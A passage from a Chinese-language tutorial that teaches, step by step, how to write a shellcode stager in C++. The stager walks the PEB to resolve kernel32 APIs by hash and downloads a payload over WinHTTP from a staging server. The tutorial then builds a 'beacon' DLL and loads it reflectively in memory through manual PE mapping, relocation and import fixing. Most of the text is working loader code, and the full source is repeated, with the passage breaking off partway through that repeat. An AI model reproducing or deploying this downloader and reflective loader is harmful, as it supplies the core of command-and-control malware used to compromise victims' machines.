WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders);
WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle);
创建会话
创建会话时候要注意如下几点:
-
fnWinHttpCrackUrl这个API的最后一个参数是输出,是系统的结构,不是自己定义的结构!!!!
-
fnWinHttpOpen可以有两个选项,一个是WINHTTP_ACCESS_TYPE_NO_PROXY代表不走代理,另外一个是走代理,走代理的话可以先设置前置代理再做,这个算home work
-
lpUrlComponents的URL上限被之前定义了,是32字节,超过会溢出,可以自己调整.但是不要太大,会爆栈
以下是代码:
// 创建一个会话
fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
第一次请求,获取下载大小
需要先获取以下下载的文件大小,这样才能分配好内存,这是代码:
// 创建一个连接
HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
// 创建一个请求,先查询内容的大小
HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
fnWinHttpCloseHandle(hRequest);
获取数据
// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);
此时,dwContentSize是payload的大小,最后调用WinHttpReadData即可完成一次文件下载
pBuffer = fnMalloc(dwContentSize);
ZeroMemory(pBuffer, dwContentSize);
//完成下载
WinHttpReadData(hRequest, pBuffer, dwContentSize, &dwReadBytes);
测试
运行程序,如果完整不误的话,你的HFS会看到如下结果
下一小节我们将会介绍如何下载一个真正可执行的payload
完整代码
// 韭菜之家_day2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
#include <Winhttp.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(unsigned __int64 *)(name)
#define DEREF_32( name )*(unsigned long *)(name)
#define DEREF_16( name )*(unsigned short *)(name)
#define DEREF_8( name )*(UCHAR *)(name)
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#pragma comment(lib,"Winhttp.lib")
void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
//0.读取fs,找到peb
uint64_t base_address = 0;
__asm
{
mov eax, fs: [30h]
mov dword ptr[base_address], eax
}
unsigned short m_counter;
uint64_t ldr_table;
uint64_t dll_name;
uint64_t hash_name;
uint64_t kenrle32_base = 0;
base_address = (uint64_t)((_PEB*)base_address)->pLdr;
ldr_table =
(uint64_t)((PPEB_LDR_DATA)base_address)->InMemoryOrderModuleList.Flink;
//1. 通过peb里面的LDR找到kernel32的地址
while (ldr_table) {
dll_name =
(uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.pBuffer;
m_counter = ((PLDR_DATA_TABLE_ENTRY)ldr_table)->BaseDllName.Length;
hash_name = 0;
do {
hash_name = _rotr((unsigned long)hash_name, 13);
if (*((unsigned char*)dll_name) >= 'a')
hash_name += *((unsigned char*)dll_name) - 0x20;
else
hash_name += *((unsigned char*)dll_name);
dll_name++;
} while (--m_counter);
//hash name其实是基于dll_name的因为我们也不想取到其他的莫名其妙的东西,做个简单地hash会准确很多
//如果你不想用hashname,那么你可以printf("%wZ",dll_name);观察一下dll name自己想一下新的思路
if ((unsigned long)hash_name == 0x6A4ABC5B) {
//这就是kernel.dll的地址了
kenrle32_base = (uint64_t)((PLDR_DATA_TABLE_ENTRY)ldr_table)->DllBase;
break;
}
ldr_table = DEREF(ldr_table);
if (kenrle32_base != 0) {
//找到了退出
break;
}
}
if (kenrle32_base == 0) {
__debugbreak();
}
typedef HMODULE(WINAPI* GetProcAddressT)(_In_ HMODULE hModule, char* lpProcName);
typedef HMODULE(WINAPI* LoadLibraryAT)(_In_ LPCSTR lpLibFileName);
GetProcAddressT fnGetProcAddress = NULL;
LoadLibraryAT fnLoadlibrary = NULL;
//别在意这边的大小写驼峰混乱,因为是两套代码拼接的,懒得改了....
UINT_PTR uiAddressArray = NULL;
UINT_PTR uiNameArray = NULL;
UINT_PTR uiNameOrdinals = NULL;
PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL;
PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;
// 解析PE头
pNtHeaders32 = (PIMAGE_NT_HEADERS32)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
pNtHeaders64 = (PIMAGE_NT_HEADERS64)(kenrle32_base + ((PIMAGE_DOS_HEADER)kenrle32_base)->e_lfanew);
// 拿到导出表
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// 遍历导出表
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(kenrle32_base + pDataDirectory->VirtualAddress);
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiNameArray = (kenrle32_base + pExportDirectory->AddressOfNames);
uiNameOrdinals = (kenrle32_base + pExportDirectory->AddressOfNameOrdinals);
unsigned long dwCounter = pExportDirectory->NumberOfNames;
char str1[] = { 'G', 'e', 't', 'P', 'r', 'o', 'c', 'A', 'd', 'd', 'r', 'e', 's', 's', ' ' };
char str2[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',' ' };
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str1[0];
int ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnGetProcAddress = (GetProcAddressT)(kenrle32_base + DEREF_32(uiAddressArray));
}
else {
cpExportedFunctionName = (char*)(kenrle32_base + DEREF_32(uiNameArray));
char* matchPtr = &str2[0];
ret = 0;
while (!(ret = *cpExportedFunctionName - *matchPtr) && *cpExportedFunctionName)
{
cpExportedFunctionName++;
matchPtr++;
}
if (ret == 0)
{
uiAddressArray = (kenrle32_base + pExportDirectory->AddressOfFunctions);
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(unsigned long));
fnLoadlibrary = (LoadLibraryAT)(kenrle32_base + DEREF_32(uiAddressArray));
}
}
if (fnLoadlibrary && fnGetProcAddress) {
break;
}
uiNameArray += sizeof(unsigned long);
uiNameOrdinals += sizeof(unsigned short);
}
if (fnLoadlibrary == NULL || fnGetProcAddress == NULL) {
__debugbreak();
}
typedef struct _URL_INFO
{
WCHAR szScheme[36];
WCHAR szHostName[36];
WCHAR szUserName[36];
WCHAR szPassword[36];
WCHAR szUrlPath[36];
WCHAR szExtraInfo[36];
}URL_INFO, * PURL_INFO;
_URL_INFO url;
URL_COMPONENTSW lpUrlComponents;
lpUrlComponents.dwStructSize = sizeof(lpUrlComponents);
lpUrlComponents.lpszExtraInfo = url.szExtraInfo;
lpUrlComponents.lpszHostName = url.szHostName;
lpUrlComponents.lpszPassword = url.szPassword;
lpUrlComponents.lpszScheme = url.szScheme;
lpUrlComponents.lpszUrlPath = url.szUrlPath;
lpUrlComponents.lpszUserName = url.szUserName;
lpUrlComponents.dwExtraInfoLength =
lpUrlComponents.dwHostNameLength =
lpUrlComponents.dwPasswordLength =
lpUrlComponents.dwSchemeLength =
lpUrlComponents.dwUrlPathLength =
lpUrlComponents.dwUserNameLength = 36;
typedef HMODULE(WINAPI* WinHttpCrackUrlT)(_In_reads_(dwUrlLength) LPCWSTR pwszUrl, _In_ DWORD dwUrlLength, _In_ DWORD dwFlags, _Inout_ LPURL_COMPONENTS lpUrlComponents);
typedef HINTERNET(WINAPI* WinHttpOpenT)(_In_opt_z_ LPCWSTR pszAgentW,
_In_ DWORD dwAccessType,
_In_opt_z_ LPCWSTR pszProxyW,
_In_opt_z_ LPCWSTR pszProxyBypassW,
_In_ DWORD dwFlags);
typedef HINTERNET(WINAPI* WinHttpConnectT)(
IN HINTERNET hSession,
IN LPCWSTR pswzServerName,
IN INTERNET_PORT nServerPort,
IN DWORD dwReserved);
typedef HINTERNET(WINAPI* WinHttpOpenRequestT)(
IN HINTERNET hConnect,
IN LPCWSTR pwszVerb,
IN LPCWSTR pwszObjectName,
IN LPCWSTR pwszVersion,
IN LPCWSTR pwszReferrer OPTIONAL,
IN LPCWSTR FAR* ppwszAcceptTypes OPTIONAL,
IN DWORD dwFlags);
typedef BOOL(WINAPI* WinHttpSendRequestT)(
IN HINTERNET hRequest,
_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,
IN DWORD dwHeadersLength,
_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,
IN DWORD dwOptionalLength,
IN DWORD dwTotalLength,
IN DWORD_PTR dwContext);
typedef BOOL(WINAPI* WinHttpReceiveResponseT)(
IN HINTERNET hRequest,
IN LPVOID lpReserved);
typedef BOOL(WINAPI* WinHttpQueryHeadersT)(
IN HINTERNET hRequest,
IN DWORD dwInfoLevel,
IN LPCWSTR pwszName OPTIONAL,
_Out_writes_bytes_to_opt_(*lpdwBufferLength, *lpdwBufferLength) __out_data_source(NETWORK) LPVOID lpBuffer,
IN OUT LPDWORD lpdwBufferLength,
IN OUT LPDWORD lpdwIndex OPTIONAL);
typedef BOOL(WINAPI* WinHttpCloseHandleT)(
IN HINTERNET hInternet);
constexpr char strWinHttpCrackUrl[] = "WinHttpCrackUrl";
constexpr char strWinHttpOpen[] = "WinHttpOpen";
constexpr char strWinHttpConnect[] = "WinHttpConnect";
constexpr char strWinHttpOpenRequest[] = "WinHttpOpenRequest";
constexpr char strWinHttpSendRequest[] = "WinHttpSendRequest";
constexpr char strWinHttpReceiveResponse[] = "WinHttpReceiveResponse";
constexpr char strWinHttpQueryHeaders[] = "WinHttpQueryHeaders";
constexpr char strWinHttpCloseHandle[] = "WinHttpCloseHandle";
constexpr char strWinhttp[] = "Winhttp.dll";
constexpr wchar_t strUrl[] = L"http://127.0.0.1/duck";
constexpr wchar_t strHead[] = L"HEAD";
constexpr wchar_t strHTTP[] = L"HTTP/1.1";
constexpr wchar_t strGet[] = L"GET";
WinHttpCrackUrlT fnWinHttpCrackUrl = (WinHttpCrackUrlT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCrackUrl);
WinHttpOpenT fnWinHttpOpen = (WinHttpOpenT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpen);
WinHttpConnectT fnWinHttpConnect = (WinHttpConnectT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpConnect);
WinHttpOpenRequestT fnWinHttpOpenRequest = (WinHttpOpenRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpOpenRequest);
WinHttpSendRequestT fnWinHttpSendRequest = (WinHttpSendRequestT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpSendRequest);
WinHttpReceiveResponseT fnWinHttpReceiveResponse = (WinHttpReceiveResponseT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpReceiveResponse);
WinHttpQueryHeadersT fnWinHttpQueryHeaders = (WinHttpQueryHeadersT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpQueryHeaders);
WinHttpCloseHandleT fnWinHttpCloseHandle = (WinHttpCloseHandleT)fnGetProcAddress(fnLoadlibrary(strWinhttp), (char*)strWinHttpCloseHandle);
// 创建一个会话
fnWinHttpCrackUrl(strUrl, 0, ICU_ESCAPE, &lpUrlComponents);
HINTERNET hSession = fnWinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_NO_PROXY, NULL, NULL, 0);
DWORD dwReadBytes, dwSizeDW = sizeof(dwSizeDW), dwContentSize, dwIndex = 0;
// 创建一个连接
HINTERNET hConnect = fnWinHttpConnect(hSession, lpUrlComponents.lpszHostName, lpUrlComponents.nPort, 0);
// 创建一个请求,先查询内容的大小
HINTERNET hRequest = fnWinHttpOpenRequest(hConnect, strHead, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, NULL, &dwContentSize, &dwSizeDW, &dwIndex);
fnWinHttpCloseHandle(hRequest);
// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);
__debugbreak();
}
void shellcode_end() {
__debugbreak();
}
int main()
{
/*
const auto start_address = (uint32_t)shellcode_start;
const auto shellcode_size = (uint32_t)shellcode_end - (uint32_t)start_address;
for (size_t i = 0; i < shellcode_size; i++)
{
auto sig_code = ((unsigned char*)start_address)[i];
printf(",0x%02X", sig_code);
}
char shellcode[] = { ... };
PVOID p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, shellcode, sizeof(shellcode));
typedef void(__stdcall* door_code) ();
door_code run_shellcode = (door_code)p;
run_shellcode();
*/
system("pause");
}
根据前两章的路线,现在是能实现了下载,但是还缺少重要的一步: 我们是能下载,但是没办法加载.
本章节将会指导如何加载我们的bacon
beacon编写
首先我们先写一个正常的dll,然后用信息框弹出一个hello world,用vs2019新建一个项目叫做beacon:
把你的beacon改成x86-release,跟shellcode一样,关闭安全选项(要不然security cookie照样炸)
最重要的是,MD改成MT
因为MD是动态链接,体积是很小,但是你的程序基本上在其他的机子上跑不起来(因为其他机器没c++支持库)
MT是全打包,虽然大了一点,但是靠得住
配置完后,编写我们的第一个beacon hello world:
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "hello i am beacon", NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
然后编译你的beacon,放到之前的hfs目录
加载beacon
由于有重定向的存在,不可以在shellcode里面直接加载beacon,要想顺利加载beacon,你需要几步
-
申请一块raw内存
-
解析到pe头后,拿到真实大小
-
展开PE,拷贝raw内存的数据到更大的内存里面
-
重定位
-
修复导入表
-
跑起来
让我们一步一步说明
申请一块raw内存
// 创建一个请求,获取数据
hRequest = fnWinHttpOpenRequest(hConnect, strGet, lpUrlComponents.lpszUrlPath, strHTTP, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH);
fnWinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
fnWinHttpReceiveResponse(hRequest, 0);
typedef LPVOID(WINAPI* VirtualAllocT)(
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect);
constexpr char strVirtualAlloc[] = "VirtualAlloc";
VirtualAllocT fnVirtualAlloc = (VirtualAllocT)fnGetProcAddress((HMODULE)kernel32_base, (char*)strVirtualAlloc);
//别介意代码风格突变,这是另外一个项目复制粘贴的.
const auto fileSize = dwContentSize;
void* rawBuffer = fnVirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
fnWinHttpReadData(hRequest, rawBuffer, fileSize, &dwReadBytes);
解析PE头
//把之前的链接关掉
fnWinHttpCloseHandle(hRequest);
fnWinHttpCloseHandle(hConnect);
fnWinHttpCloseHandle(hSession);
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)rawBuffer;
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)((LPBYTE)rawBuffer + pIDH->e_lfanew);
解析到pe头后,拿到真实大小
void* imageBuffer = fnVirtualAlloc(NULL, pINH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fnMemcpy(imageBuffer, rawBuffer, pINH->OptionalHeader.SizeOfHeaders);
展开PE,拷贝raw内存的数据到更大的内存里面
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)(pINH + 1);
for (size_t i = 0; i < pINH->FileHeader.NumberOfSections; i++)
{
fnMemcpy((PVOID)((LPBYTE)imageBuffer + pISH[i].VirtualAddress), (PVOID)((LPBYTE)rawBuffer + pISH[i].PointerToRawData), pISH[i].SizeOfRawData);
}
重定位
//重定位
DWORD delta = (DWORD)((LPBYTE)imageBuffer - pINH->OptionalHeader.ImageBase); // Calculate the delta
PIMAGE_BASE_RELOCATION pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (pIBR->VirtualAddress)
{
if (pIBR->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
DWORD count = (pIBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD list = (PWORD)(pIBR + 1);
for (size_t i = 0; i < count; i++)
{
if (list[i])
{
PDWORD ptr = (PDWORD)((LPBYTE)imageBuffer + (pIBR->VirtualAddress + (list[i] & 0xFFF)));
*ptr += delta;
}
}
}
pIBR = (PIMAGE_BASE_RELOCATION)((LPBYTE)pIBR + pIBR->SizeOfBlock);
}
修复导入表
//导入表修复
PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)imageBuffer + pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pIID->Characteristics)
{
PIMAGE_THUNK_DATA OrigFirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((LPBYTE)imageBuffer + pIID->FirstThunk);
HANDLE hModule = fnLoadlibrary((LPCSTR)imageBuffer + pIID->Name);
while (OrigFirstThunk->u1.AddressOfData)
{
if (OrigFirstThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// Import by ordinal
DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)(OrigFirstThunk->u1.Ordinal & 0xFFFF));
FirstThunk->u1.Function = Function;
}
else
{
// Import by name
PIMAGE_IMPORT_BY_NAME pIBN = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)imageBuffer + OrigFirstThunk->u1.AddressOfData);
DWORD Function = (DWORD)fnGetProcAddress((HMODULE)hModule, (char*)pIBN->Name);
FirstThunk->u1.Function = Function;
}
OrigFirstThunk++;
FirstThunk++;
}
pIID++;
}
跑起来
//一切就绪 call一下entry
typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID);
PDLL_MAIN EntryPoint = (PDLL_MAIN)((LPBYTE)imageBuffer + pINH->OptionalHeader.AddressOfEntryPoint);
EntryPoint((HMODULE)imageBuffer, DLL_PROCESS_ATTACH, NULL); // Call the entry point
测试:
如果没问题,你应该看得到beacon成功加载了
源码
// 韭菜之家_day2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <iostream>
#include <Windows.h>
#include <Winhttp.h>
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(unsigned __int64 *)(name)
#define DEREF_32( name )*(unsigned long *)(name)
#define DEREF_16( name )*(unsigned short *)(name)
#define DEREF_8( name )*(UCHAR *)(name)
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB;
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
#pragma comment(lib,"Winhttp.lib")
void shellcode_start() {
//代码不用理解,可以直接复制粘贴.
//0.读取fs,找到peb
